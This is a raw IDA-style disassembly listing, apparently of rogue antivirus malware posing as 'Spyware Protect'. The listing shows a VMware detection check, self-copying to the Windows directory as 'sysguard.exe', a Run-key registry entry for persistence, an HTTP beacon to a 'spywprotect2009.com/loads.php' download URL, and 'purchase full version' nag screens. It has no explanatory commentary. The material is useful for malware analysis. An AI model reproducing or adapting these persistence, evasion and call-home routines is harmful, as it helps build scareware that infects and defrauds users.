mov eax, dword_42A034
xor eax, esp
mov [esp+204h+var_4], eax
lea eax, [esp+204h+var_204]
push eax
push offset aActcode ; "actcode"
call sub_416FB1
mov ecx, [esp+204h+var_4]
xor ecx, esp
call sub_40AC1C
add esp, 204h
retn
sub_4170DD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417114 proc near ; CODE XREF: sub_408F0F+Fp
var_19 = byte ptr -19h
ms_exc = CPPEH_RECORD ptr -18h
push 0Ch
push offset dword_426E90
call __SEH_prolog4
mov [ebp+var_19], 1
and [ebp+ms_exc.disabled], 0
push edx
push ecx
push ebx
mov eax, 564D5868h
mov ebx, 0
mov ecx, 0Ah
mov edx, 5658h
in eax, dx
cmp ebx, 564D5868h
setz [ebp+var_19]
pop ebx
pop ecx
pop edx
jmp short loc_41715A
; ---------------------------------------------------------------------------
xor eax, eax
inc eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+ms_exc.old_esp]
mov [ebp+var_19], 0
loc_41715A: ; CODE XREF: sub_417114+39j
mov [ebp+ms_exc.disabled], 0FFFFFFFEh
mov al, [ebp+var_19]
call __SEH_epilog4
retn
sub_417114 endp
; ---------------------------------------------------------------------------
push 0
call sub_40BB3D
pop ecx
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417173 proc near ; CODE XREF: sub_4173E1+17Bp
var_1B0 = dword ptr -1B0h
var_1AC = dword ptr -1ACh
var_1A8 = dword ptr -1A8h
var_1A4 = dword ptr -1A4h
var_1A0 = dword ptr -1A0h
var_19C = dword ptr -19Ch
var_198 = byte ptr -198h
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 1B4h
mov eax, dword_42A034
xor eax, ebp
mov [ebp+var_4], eax
push ebx
push esi
push edi
mov edi, ecx
push offset aHttp ; "http://"
xor esi, esi
push edi
mov [ebp+var_1A0], ecx
mov [ebp+var_19C], esi
call sub_40B787
pop ecx
pop ecx
test eax, eax
jz short loc_4171B3
add edi, 0Eh
mov [ebp+var_1A0], edi
loc_4171B3: ; CODE XREF: sub_417173+35j
push 2Fh
push [ebp+var_1A0]
call sub_40B4C4
mov ebx, eax
xor eax, eax
pop ecx
mov [ebx], ax
pop ecx
lea eax, [ebp+var_198]
push eax
inc ebx
push 2
inc ebx
call dword_41D388 ; WSAStartup
mov edi, dword_41D37C
push esi
push esi
push esi
push esi
push offset aMicrosoftInter ; "Microsoft Internet Explorer"
call edi ; dword_41D37C
mov [ebp+var_1A4], eax
cmp eax, esi
jnz short loc_41720F
push esi
push esi
push esi
push 1
push offset aMicrosoftInt_0 ; "Microsoft Internet Explorer"
call edi ; dword_41D37C
mov [ebp+var_1A4], eax
cmp eax, esi
jz loc_41735F
loc_41720F: ; CODE XREF: sub_417173+80j
push esi
push esi
push 3
push esi
push offset aAnonymous ; "anonymous"
push 50h
push [ebp+var_1A0]
push [ebp+var_1A4]
call dword_41D374 ; InternetConnectW
mov [ebp+var_1AC], eax
cmp eax, esi
jz loc_41733B
push esi
push 80000100h
push esi
push esi
push esi
push ebx
push esi
push eax
call dword_41D380 ; HttpOpenRequestW
mov ebx, eax
mov [ebp+var_1A8], ebx
cmp ebx, esi
jz loc_41732F
push esi
push esi
push esi
push esi
push ebx
call dword_41D378 ; HttpSendRequestW
test eax, eax
jz loc_417323
push esi
push esi
lea eax, [ebp+var_1A0]
push eax
push ebx
mov ebx, dword_41D36C
mov [ebp+var_1A0], esi
xor edi, edi
call ebx ; dword_41D36C
test eax, eax
jz loc_417323
loc_417292: ; CODE XREF: sub_417173+18Dj
mov eax, [ebp+var_1A0]
cmp eax, esi
jbe short loc_417302
cmp [ebp+var_19C], esi
jnz short loc_4172AE
push 1
push eax
call sub_40B5BD
jmp short loc_4172BC
; ---------------------------------------------------------------------------
loc_4172AE: ; CODE XREF: sub_417173+12Fj
add eax, edi
push eax
push [ebp+var_19C]
call sub_40B8A1
loc_4172BC: ; CODE XREF: sub_417173+139j
pop ecx
mov [ebp+var_19C], eax
pop ecx
lea eax, [ebp+var_1B0]
push eax
push [ebp+var_1A0]
mov eax, [ebp+var_19C]
lea eax, [eax+edi*2]
push eax
push [ebp+var_1A8]
call dword_41D370 ; InternetReadFile
add edi, [ebp+var_1B0]
push esi
push esi
lea eax, [ebp+var_1A0]
push eax
push [ebp+var_1A8]
call ebx ; dword_41D36C
test eax, eax
jnz short loc_417292
loc_417302: ; CODE XREF: sub_417173+127j
cmp edi, esi
jbe short loc_417323
lea eax, [edi+1]
push eax
push [ebp+var_19C]
call sub_40B8A1
pop ecx
pop ecx
xor ecx, ecx
mov [ebp+var_19C], eax
mov [eax+edi*2], cx
loc_417323: ; CODE XREF: sub_417173+F7j
; sub_417173+119j ...
push [ebp+var_1A8]
call dword_41D364 ; InternetCloseHandle
loc_41732F: ; CODE XREF: sub_417173+E4j
push [ebp+var_1AC]
call dword_41D364 ; InternetCloseHandle
loc_41733B: ; CODE XREF: sub_417173+C2j
push [ebp+var_1A4]
call dword_41D364 ; InternetCloseHandle
cmp [ebp+var_19C], esi
jz short loc_41735F
push [ebp+var_19C]
call sub_40ADC8
pop ecx
mov al, 1
jmp short loc_417361
; ---------------------------------------------------------------------------
loc_41735F: ; CODE XREF: sub_417173+96j
; sub_417173+1DAj
xor al, al
loc_417361: ; CODE XREF: sub_417173+1EAj
mov ecx, [ebp+var_4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call sub_40AC1C
leave
retn
sub_417173 endp
; ---------------------------------------------------------------------------
loc_417370: ; CODE XREF: sub_408F0F+18p
push 14h
push offset dword_426EB0
call __SEH_prolog4
mov byte ptr [ebp-19h], 0
and dword ptr [ebp-4], 0
push ebx
mov ebx, 0
mov eax, 1
; ---------------------------------------------------------------------------
db 0Fh
dd 850B073Fh, 45940FDBh, 35EB5BE7h, 89EC458Bh, 458BDC45h
dd 4408BDCh, 8BE04589h, 8883E045h, 0A4h, 0E0458BFFh, 0B8808Bh
dd 0C0830000h, 0E04D8B04h, 0B88189h, 0C8830000h, 658BC3FFh
dd 0FC45C7E8h, 0FFFFFFFEh, 0E8E7458Ah, 0FFFF4A21h
; ---------------------------------------------------------------------------
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4173E1 proc near ; CODE XREF: sub_417692+51p
var_60 = dword ptr -60h
var_5C = byte ptr -5Ch
var_18 = byte ptr -18h
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 64h
push ebx
push esi
push edi
mov edi, 105h
push edi
push 1
call sub_40B5BD
pop ecx
pop ecx
lea esi, [edi-1]
push esi
push eax
xor ebx, ebx
push ebx
mov [ebp+var_4], eax
call dword_41D1FC ; GetModuleFileNameW
push [ebp+var_4]
call dword_41D2E8 ; CharLowerW
push edi
push 1
call sub_40B5BD
pop ecx
pop ecx
mov edi, eax
push esi
push edi
mov [ebp+var_8], edi
call dword_41D0AC ; GetWindowsDirectoryW
dec edi
dec edi
loc_41742C: ; CODE XREF: sub_4173E1+54j
mov ax, [edi+2]
inc edi
inc edi
cmp ax, bx
jnz short loc_41742C
mov esi, offset asc_4237A0 ; "\\"
movsd
mov edi, [ebp+var_8]
dec edi
dec edi
loc_417442: ; CODE XREF: sub_4173E1+6Aj
mov ax, [edi+2]
inc edi
inc edi
cmp ax, bx
jnz short loc_417442
push 6
pop ecx
mov esi, offset aSysguard_exe ; "sysguard.exe"
rep movsd
push offset aSysguard_exe_0 ; "sysguard.exe"
push [ebp+var_4]
movsw
call sub_40B787
pop ecx
pop ecx
test eax, eax
jnz loc_417571
mov esi, [ebp+var_8]
push 1
push esi
push [ebp+var_4]
call dword_41D084 ; CopyFileW
test eax, eax
jz loc_417571
lea eax, [ebp+var_8]
push eax
push 20006h
push ebx
push offset aSoftwareMicros ; "Software\\Microsoft\\Windows\\CurrentVersi"...
push 80000001h
call dword_41D010 ; RegOpenKeyExW
test eax, eax
jnz short loc_4174D8
mov eax, esi
lea edx, [eax+2]
loc_4174AA: ; CODE XREF: sub_4173E1+D1j
mov cx, [eax]
inc eax
inc eax
cmp cx, bx
jnz short loc_4174AA
sub eax, edx
sar eax, 1
lea eax, [eax+eax+2]
push eax
push esi
push 1
push ebx
push offset aSysguard ; "sysguard"
push [ebp+var_8]
call dword_41D018 ; RegSetValueExW
push [ebp+var_8]
call dword_41D000 ; RegCloseKey
loc_4174D8: ; CODE XREF: sub_4173E1+C2j
push 40h
lea eax, [ebp+var_5C]
push ebx
push eax
mov [ebp+var_60], 44h
call sub_40BD40
add esp, 0Ch
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_60]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push esi
call dword_41D064 ; CreateProcessW
push 200h
push 1
call sub_40B5BD
pop ecx
pop ecx
mov ecx, eax
mov eax, offset aHttpSpywprot_0 ; "http://spywprotect2009.com/loads.php"
mov esi, ecx
mov [ebp+var_4], ecx
sub esi, eax
loc_417520: ; CODE XREF: sub_4173E1+14Bj
movzx edx, word ptr [eax]
mov [esi+eax], dx
inc eax
inc eax
cmp dx, bx
jnz short loc_417520
mov edi, ecx
dec edi
dec edi
loc_417532: ; CODE XREF: sub_4173E1+15Aj
mov ax, [edi+2]
inc edi
inc edi
cmp ax, bx
jnz short loc_417532
mov esi, offset a?r ; "?r="
movsd
movsd
mov edi, ecx
dec edi
dec edi
loc_417548: ; CODE XREF: sub_4173E1+170j
mov ax, [edi+2]
inc edi
inc edi
cmp ax, bx
jnz short loc_417548
mov esi, offset a16_0_0 ; "16.0"
movsd
movsd
movsw
call sub_417173
push [ebp+var_4]
call sub_40ADC8
pop ecx
push ebx
call dword_41D1C0 ; ExitProcess
loc_417571: ; CODE XREF: sub_4173E1+89j
; sub_4173E1+A0j
push [ebp+var_4]
call sub_40ADC8
pop ecx
push [ebp+var_8]
call sub_40ADC8
pop ecx
pop edi
pop esi
pop ebx
leave
retn
sub_4173E1 endp
; =============== S U B R O U T I N E =======================================
sub_417588 proc near ; CODE XREF: sub_4092A8+11p
; sub_40970B+4p
push 0A8h
mov eax, offset loc_41C12D
call sub_40C46D
xor ebx, ebx
cmp byte_42F0B0, bl
jnz loc_41768C
push ebx
call dword_41D2DC ; GetDC
push 20h
pop esi
push esi
xor edi, edi
push esi
inc edi
push eax
mov [ebp-10h], eax
mov [ebp-24h], edi
mov [ebp-20h], ebx
mov [ebp-1Ch], ebx
call dword_41D044 ; CreateCompatibleBitmap
push offset dword_42CA58
push edi
push edi
push esi
push esi
mov [ebp-14h], eax
call dword_41D030 ; CreateBitmap
push 0Ah
pop ecx
mov [ebp-18h], eax
xor eax, eax
lea edi, [ebp-4Ch]
rep stosd
inc eax
mov [ebp-44h], ax
push ebx
mov eax, esi
mov [ebp-42h], ax
lea eax, [ebp-50h]
push eax
push offset dword_42BA58
push esi
push ebx
push dword ptr [ebp-14h]
mov dword ptr [ebp-50h], 28h
push dword ptr [ebp-10h]
mov [ebp-4Ch], esi
mov [ebp-48h], esi
mov [ebp-40h], ebx
call dword_41D050 ; SetDIBits
lea eax, [ebp-24h]
push eax
call dword_41D2EC ; CreateIconIndirect
push dword ptr [ebp-14h]
mov esi, dword_41D038
mov edi, eax
call esi ; dword_41D038
push dword ptr [ebp-18h]
call esi ; dword_41D038
lea eax, [ebp-0B0h]
push eax
mov byte_42F0B0, 1
call sub_408D98
push offset aPurchaseFullVe ; "Purchase full version Spyware Protect 2"...
push edi
push 880000h
push dword ptr [ebp+8]
lea eax, [ebp-0B0h]
mov [ebp-4], ebx
call sub_418186
push dword ptr [ebp-0ACh]
call dword_41D304 ; DestroyWindow
push edi
mov byte_42F0B0, bl
call dword_41D2F8 ; DestroyIcon
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-0B0h]
call sub_404B59
loc_41768C: ; CODE XREF: sub_417588+17j
call sub_40C50C
retn
sub_417588 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_417692 proc near ; CODE XREF: UPX0:0040BCC5p
var_460 = dword ptr -460h
var_45C = dword ptr -45Ch
var_458 = byte ptr -458h
var_454 = byte ptr -454h
var_450 = byte ptr -450h
var_440 = byte ptr -440h
var_43C = dword ptr -43Ch
var_430 = byte ptr -430h
var_42C = dword ptr -42Ch
var_404 = dword ptr -404h
var_3FC = dword ptr -3FCh
var_3F4 = dword ptr -3F4h
var_3EC = dword ptr -3ECh
var_3E4 = dword ptr -3E4h
var_3CC = dword ptr -3CCh
var_3C8 = dword ptr -3C8h
var_3C4 = dword ptr -3C4h
var_3C0 = dword ptr -3C0h
var_3BC = byte ptr -3BCh
var_4 = dword ptr -4
push ebp
mov ebp, esp
and esp, 0FFFFFFF8h
sub esp, 464h
mov eax, dword_42A034
xor eax, esp
mov [esp+464h+var_4], eax
push ebx
push esi
push edi
mov esi, offset dword_423C5C
mov edi, offset dword_42EE94
movsd
movsd
movsd
movsd
mov edi, dword_42E3BC
xor esi, esi
mov dword_42F0E0, esi
jmp short loc_4176DB
; ---------------------------------------------------------------------------
loc_4176CD: ; CODE XREF: sub_417692+4Fj
mov eax, [edi]
cmp eax, esi
jz short loc_4176D8
push 1
call dword ptr [eax+20h]
loc_4176D8: ; CODE XREF: sub_417692+3Fj
add edi, 4
loc_4176DB: ; CODE XREF: sub_417692+39j
cmp edi, dword_42E3C0
jb short loc_4176CD
call sub_4173E1
lea eax, [esp+470h+var_450]
push eax
call sub_409BC7
call sub_4170DD
test al, al
jnz short loc_41772F
push offset aSoftwareAvscan ; "Software\\AvScan"
lea edi, [esp+474h+var_460]
call sub_417072
xor edi, edi
loc_41770B: ; CODE XREF: sub_417692+91j
push off_42DBF0[edi]
lea eax, [esp+474h+var_460]
call sub_416FF1
add edi, 4
cmp edi, 88h
jb short loc_41770B
push [esp+470h+var_460]
call dword_41D000 ; RegCloseKey
loc_41772F: ; CODE XREF: sub_417692+67j
call sub_4170DD
test al, al
jnz short loc_41774A
call sub_4170D1
test al, al
jnz short loc_41774A
lea eax, [esp+470h+var_450]
call sub_409CAD
loc_41774A: ; CODE XREF: sub_417692+A4j
; sub_417692+ADj
push esi
call sub_40BB3D
mov ebx, eax
pop ecx
mov edi, edx
add ebx, 4B0h
push esi
adc edi, esi
call sub_40BB3D
add eax, 0B4h
adc edx, esi
pop ecx
mov dword ptr [esp+470h+var_458], eax
mov dword ptr [esp+470h+var_454], edx
jmp loc_417899
; ---------------------------------------------------------------------------
loc_417778: ; CODE XREF: sub_417692+20Ej
call sub_4170D1
test al, al
jz loc_417865
cmp byte_42F0B0, 0
jnz loc_417865
push esi
call sub_40BB3D
cmp edi, edx
pop ecx
mov [esp+470h+var_460], eax
mov [esp+470h+var_45C], edx
jg short loc_4177FD
jl short loc_4177AB
cmp ebx, eax
ja short loc_4177FD
loc_4177AB: ; CODE XREF: sub_417692+113j
cmp [esp+470h+var_42C], esi
jnz short loc_4177E0
mov eax, [esp+470h+var_3EC]
mov [esp+470h+var_3C4], eax
mov eax, [esp+470h+var_3E4]
mov [esp+470h+var_3C0], eax
lea eax, [esp+470h+var_3C4]
push eax
lea esi, [esp+474h+var_430]
call sub_40A2BB
xor esi, esi
loc_4177E0: ; CODE XREF: sub_417692+11Dj
push [esp+470h+var_3EC]
call dword_41D070 ; SetEvent
mov ebx, [esp+470h+var_460]
mov edi, [esp+470h+var_45C]
add ebx, 4B0h
adc edi, esi
loc_4177FD: ; CODE XREF: sub_417692+111j
; sub_417692+117j
mov eax, [esp+470h+var_45C]
cmp dword ptr [esp+470h+var_454], eax
jg loc_41788E
jl short loc_417817
mov eax, [esp+470h+var_460]
cmp dword ptr [esp+470h+var_458], eax
ja short loc_41788E
loc_417817: ; CODE XREF: sub_417692+179j
cmp [esp+470h+var_43C], esi
jnz short loc_417846
mov eax, [esp+470h+var_3FC]
mov [esp+470h+var_3CC], eax
mov eax, [esp+470h+var_3F4]
mov [esp+470h+var_3C8], eax
lea eax, [esp+470h+var_3CC]
push eax
lea esi, [esp+474h+var_440]
call sub_40A2BB
xor esi, esi
loc_417846: ; CODE XREF: sub_417692+189j
push [esp+470h+var_3FC]
call dword_41D070 ; SetEvent
mov eax, [esp+470h+var_460]
mov ecx, [esp+470h+var_45C]
add eax, 0B4h
adc ecx, esi
mov dword ptr [esp+470h+var_454], ecx
jmp short loc_41788A
; ---------------------------------------------------------------------------
loc_417865: ; CODE XREF: sub_417692+EDj
; sub_417692+FAj
push esi
call sub_40BB3D
mov ebx, eax
pop ecx
mov edi, edx
add ebx, 4B0h
push esi
adc edi, esi
call sub_40BB3D
add eax, 0B4h
adc edx, esi
pop ecx
mov dword ptr [esp+470h+var_454], edx
loc_41788A: ; CODE XREF: sub_417692+1D1j
mov dword ptr [esp+470h+var_458], eax
loc_41788E: ; CODE XREF: sub_417692+173j
; sub_417692+183j
push 3E8h
call dword_41D080 ; Sleep
loc_417899: ; CODE XREF: sub_417692+E1j
call sub_4170DD
test al, al
jz loc_417778
push [esp+470h+var_3E4]
mov esi, dword_41D070
mov [esp+474h+var_3BC], 1
call esi ; dword_41D070
push [esp+470h+var_3F4]
call esi ; dword_41D070
push [esp+470h+var_404]
call esi ; dword_41D070
loc_4178C9: ; CODE XREF: sub_417692+242j
push 1388h
call dword_41D080 ; Sleep
jmp short loc_4178C9
sub_417692 endp
; =============== S U B R O U T I N E =======================================
sub_4178D6 proc near ; CODE XREF: sub_4186D9+11Dp
push esi
mov esi, eax
mov edx, eax
loc_4178DB: ; CODE XREF: sub_4178D6+Ej
mov cl, [esi]
mov [edx], cl
inc edx
inc esi
inc esi
test cl, cl
jnz short loc_4178DB
pop esi
retn
sub_4178D6 endp
; [00000003 BYTES: COLLAPSED FUNCTION nullsub_3. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4178EC proc near ; CODE XREF: sub_404BAF+2Fp
var_1C = byte ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 1Ch
mov [ebp+var_18], eax
mov eax, [ebp+arg_4]
mov [ebp+var_14], eax
mov eax, [ebp+arg_8]
push ebx
mov [ebp+var_10], eax
mov eax, [ebp+arg_0]
push offset dword_41D430
add eax, 30h
push eax
lea ebx, [ebp+arg_4]
call sub_404C9D
mov eax, [ebp+arg_4]
mov ecx, [eax]
lea edx, [ebp+var_1C]
push edx
push eax
call dword ptr [ecx+14h]
mov eax, [ebp+arg_4]
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
xor eax, eax
pop ebx
leave
retn 0Ch
sub_4178EC endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 20h
push ebx
push edi
mov edi, dword_41D318
xor ebx, ebx
push ebx
push ebx
push ebx
lea eax, [ebp-20h]
push eax
mov [ebp-4], ecx
call edi ; dword_41D318
test eax, eax
jz short loc_4179A8
push esi
mov esi, 100h
loc_417959: ; CODE XREF: UPX0:004179A5j
lea eax, [ebp-20h]
push eax
call dword_41D2D8 ; TranslateMessage
cmp dword ptr [ebp-1Ch], 10h
jz short loc_4179A7
cmp dword ptr [ebp-1Ch], 0A1h
jnz short loc_417978
cmp dword ptr [ebp-18h], 14h
jz short loc_4179A7
loc_417978: ; CODE XREF: UPX0:00417970j
cmp [ebp-1Ch], esi
jnz short loc_417990
push dword ptr [ebp-14h]
mov eax, [ebp-4]
push dword ptr [ebp-18h]
push esi
push dword ptr [eax+4]
call dword_41D288 ; SendMessageW
loc_417990: ; CODE XREF: UPX0:0041797Bj
lea eax, [ebp-20h]
push eax
call dword_41D26C ; DispatchMessageW
push ebx
push ebx
push ebx
lea eax, [ebp-20h]
push eax
call edi ; dword_41D318
test eax, eax
jnz short loc_417959
loc_4179A7: ; CODE XREF: UPX0:00417967j
; UPX0:00417976j
pop esi
loc_4179A8: ; CODE XREF: UPX0:00417951j
mov eax, [ebp-18h]
pop edi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_4179AF: ; DATA XREF: sub_418A96+12Do
mov eax, [esp+4]
cmp dword ptr [eax+8], 1
push esi
push edi
mov esi, ecx
jnz short loc_4179C4
mov eax, [eax]
mov edi, [eax+8]
jmp short loc_4179C7
; ---------------------------------------------------------------------------
loc_4179C4: ; CODE XREF: UPX0:004179BBj
push 64h
pop edi
loc_4179C7: ; CODE XREF: UPX0:004179C2j
push 0FFFFFFECh
push dword ptr [esi+4]
call dword_41D2CC ; GetWindowLongW
or eax, 80000h
push eax
push 0FFFFFFECh
push dword ptr [esi+4]
call dword_41D2B4 ; SetWindowLongW
mov eax, edi
imul eax, 0FFh
push 2
push 64h
pop ecx
cdq
idiv ecx
push eax
push 0
push dword ptr [esi+4]
call dword_41D29C ; SetLayeredWindowAttributes
pop edi
pop esi
retn 8
; ---------------------------------------------------------------------------
loc_417A04: ; DATA XREF: sub_418A96+101o
push 2
push dword ptr [ecx+4]
call dword_41D298 ; ShowWindow
retn 8
; ---------------------------------------------------------------------------
loc_417A12: ; DATA XREF: sub_418A96+EBo
mov eax, [esp+4]
cmp dword ptr [eax+8], 1
push 11h
pop edx
jnz short loc_417A24
mov eax, [eax]
mov edx, [eax+8]
loc_417A24: ; CODE XREF: UPX0:00417A1Dj
push 0
push edx
push 0A1h
push dword ptr [ecx+4]
call dword_41D330 ; PostMessageW
retn 8
; ---------------------------------------------------------------------------
loc_417A38: ; DATA XREF: sub_418A96+D5o
push 0
push 2
push 0A1h
push dword ptr [ecx+4]
call dword_41D330 ; PostMessageW
retn 8
; ---------------------------------------------------------------------------
loc_417A4D: ; DATA XREF: sub_418A96+BFo
mov eax, [esp+4]
mov eax, [eax]
push dword ptr [eax+8]
push dword ptr [ecx+4]
call dword_41D280 ; SetWindowTextW
retn 8
; ---------------------------------------------------------------------------
mov eax, [esp+4]
or edx, 0FFFFFFFFh
cmp dword ptr [eax+8], 1
jnz short loc_417A74
mov eax, [eax]
mov edx, [eax+8]
loc_417A74: ; CODE XREF: UPX0:00417A6Dj
push 0
push edx
push 10h
push dword ptr [ecx+4]
call dword_41D330 ; PostMessageW
retn 8
; =============== S U B R O U T I N E =======================================
sub_417A85 proc near ; CODE XREF: UPX0:00402C5Bp
push 20h
mov eax, offset loc_41BF7E
call sub_40C4D6
mov eax, [ebp+8]
mov esi, ecx
mov [ebp-2Ch], eax
test ebx, ebx
jnz short loc_417AA7
mov eax, 80004003h
jmp loc_417C0F
; ---------------------------------------------------------------------------
loc_417AA7: ; CODE XREF: sub_417A85+16j
and dword ptr [ebx], 0
mov dword ptr [ebp-24h], 80004005h
mov byte ptr [edi], 0
test esi, esi
jz loc_417C0D
movzx eax, word ptr [esi]
test ax, ax
jz loc_417C0D
cmp ax, 4Dh
jz short loc_417AD4
cmp ax, 6Dh
jnz short loc_417B48
loc_417AD4: ; CODE XREF: sub_417A85+47j
movzx eax, word ptr [esi+2]
cmp ax, 53h
jz short loc_417AE4
cmp ax, 73h
jnz short loc_417B48
loc_417AE4: ; CODE XREF: sub_417A85+57j
movzx eax, word ptr [esi+4]
cmp ax, 48h
jz short loc_417AF4
cmp ax, 68h
jnz short loc_417B48
loc_417AF4: ; CODE XREF: sub_417A85+67j
movzx eax, word ptr [esi+6]
cmp ax, 54h
jz short loc_417B04
cmp ax, 74h
jnz short loc_417B48
loc_417B04: ; CODE XREF: sub_417A85+77j
movzx eax, word ptr [esi+8]
cmp ax, 4Dh
jz short loc_417B14
cmp ax, 6Dh
jnz short loc_417B48
loc_417B14: ; CODE XREF: sub_417A85+87j
movzx eax, word ptr [esi+0Ah]
cmp ax, 4Ch
jz short loc_417B24
cmp ax, 6Ch
jnz short loc_417B48
loc_417B24: ; CODE XREF: sub_417A85+97j
cmp word ptr [esi+0Ch], 3Ah
jnz short loc_417B48
push ebx
push offset dword_424264
push 1
push 0
push offset dword_4242A4
loc_417B3A: ; CODE XREF: sub_417A85+DDj
call dword_41D398
mov byte ptr [edi], 1
jmp loc_417C05
; ---------------------------------------------------------------------------
loc_417B48: ; CODE XREF: sub_417A85+4Dj
; sub_417A85+5Dj ...
mov eax, esi
call sub_401496
test eax, eax
jz short loc_417B64
push ebx
push offset dword_424264
push 1
push 0
push offset dword_4242B4
jmp short loc_417B3A
; ---------------------------------------------------------------------------
loc_417B64: ; CODE XREF: sub_417A85+CCj
push esi
call dword_41D1F0 ; lstrlenW
cmp eax, 0FFh
jge loc_417C08
cmp word ptr [esi], 7Bh
lea eax, [ebp-20h]
push eax
push esi
jnz short loc_417B89
call dword_41D3A4
jmp short loc_417B8F
; ---------------------------------------------------------------------------
loc_417B89: ; CODE XREF: sub_417A85+FAj
call dword_41D3A0
loc_417B8F: ; CODE XREF: sub_417A85+102j
xor esi, esi
cmp eax, esi
mov [ebp-24h], eax
jl short loc_417C08
push dword ptr [ebp-2Ch]
call dword_41D238
test eax, eax
jz short loc_417BF2
mov [ebp-28h], esi
lea eax, [ebp-28h]
push eax
push offset dword_4242C4
push esi
push 1
lea eax, [ebp-20h]
push eax
mov [ebp-4], esi
call dword_41D3B8
cmp eax, esi
mov [ebp-24h], eax
jl short loc_417BDF
mov eax, [ebp-28h]
mov ecx, [eax]
push ebx
push dword ptr [ebp-2Ch]
push offset dword_424264
push esi
push esi
push eax
call dword ptr [ecx+1Ch]
mov [ebp-24h], eax
loc_417BDF: ; CODE XREF: sub_417A85+141j
or dword ptr [ebp-4], 0FFFFFFFFh
mov eax, [ebp-28h]
cmp eax, esi
jz short loc_417C08
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
jmp short loc_417C08
; ---------------------------------------------------------------------------
loc_417BF2: ; CODE XREF: sub_417A85+11Ej
push ebx
push offset dword_424264
push 1
push esi
lea eax, [ebp-20h]
push eax
call dword_41D398
loc_417C05: ; CODE XREF: sub_417A85+BEj
mov [ebp-24h], eax
loc_417C08: ; CODE XREF: sub_417A85+EBj
; sub_417A85+111j ...
mov eax, [ebp-24h]
jmp short loc_417C0F
; ---------------------------------------------------------------------------
loc_417C0D: ; CODE XREF: sub_417A85+31j
; sub_417A85+3Dj
xor eax, eax
loc_417C0F: ; CODE XREF: sub_417A85+1Dj
; sub_417A85+186j
call sub_40C520
retn
sub_417A85 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417C15 proc near ; CODE XREF: sub_404BAF+41p
; UPX0:00417C3Ap ...
var_10 = byte ptr -10h
push ebp
mov ebp, esp
sub esp, 14h
push esi
mov esi, eax
lea eax, [ebp+var_10]
push eax
push dword ptr [esi+4]
call dword_41D34C ; GetClientRect
add esi, 30h
push esi
lea eax, [ebp+var_10]
call sub_401867
pop esi
leave
retn
sub_417C15 endp
; ---------------------------------------------------------------------------
call sub_417C15
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_417C42: ; DATA XREF: sub_418A96+117o
push esi
xor eax, eax
mov esi, ecx
cmp [esi+38h], al
setz al
lea eax, [eax+eax+1]
push eax
push dword ptr [esi+4]
call dword_41D298 ; ShowWindow
cmp byte ptr [esi+38h], 0
setz al
mov [esi+38h], al
mov eax, esi
call sub_417C15
pop esi
retn 8
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417C70 proc near ; DATA XREF: sub_418A96+8Fo
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 24h
push ebx
push esi
mov esi, [ebp+arg_0]
cmp dword ptr [esi+8], 3
mov eax, [esi]
mov ebx, ecx
mov ecx, [eax+18h]
mov eax, [eax+8]
push edi
mov [ebp+var_8], ebx
mov [ebp+var_4], ecx
mov [ebp+arg_0], eax
jnz short loc_417CA7
push 0
lea eax, [ebp+var_20]
push eax
push 0
push 30h
call dword_41D2C4 ; SystemParametersInfoW
jmp short loc_417CD9
; ---------------------------------------------------------------------------
loc_417CA7: ; CODE XREF: sub_417C70+23j
push dword ptr [ebx+4]
mov edi, dword_41D33C
call edi ; dword_41D33C
push eax
call dword_41D294 ; IsWindow
test eax, eax
jz short loc_417CC8
push dword ptr [ebx+4]
call edi ; dword_41D33C
lea ecx, [ebp+var_20]
push ecx
jmp short loc_417CD2
; ---------------------------------------------------------------------------
loc_417CC8: ; CODE XREF: sub_417C70+4Bj
lea eax, [ebp+var_20]
push eax
call dword_41D2AC ; GetDesktopWindow
loc_417CD2: ; CODE XREF: sub_417C70+56j
push eax
call dword_41D314 ; GetWindowRect
loc_417CD9: ; CODE XREF: sub_417C70+35j
mov eax, [esi+8]
cmp eax, 2
jnz short loc_417D06
mov eax, [ebp+var_18]
sub eax, [ebp+var_4]
add eax, [ebp+var_20]
cdq
sub eax, edx
mov esi, eax
mov eax, [ebp+var_1C]
sub eax, [ebp+arg_0]
sar esi, 1
add eax, [ebp+var_14]
cdq
sub eax, edx
mov edi, eax
sar edi, 1
jmp loc_417E59
; ---------------------------------------------------------------------------
loc_417D06: ; CODE XREF: sub_417C70+6Fj
push 4
pop ebx
cmp eax, 3
jnz loc_417DE2
mov esi, [esi]
movzx edi, word ptr [esi+20h]
cmp di, 8
jnz loc_417DC2
mov eax, [esi+28h]
mov ecx, offset aRightbottom ; "rightbottom"
loc_417D2A: ; CODE XREF: sub_417C70+D8j
mov dx, [eax]
cmp dx, [ecx]
jnz short loc_417D4E
test dx, dx
jz short loc_417D4A
mov dx, [eax+2]
cmp dx, [ecx+2]
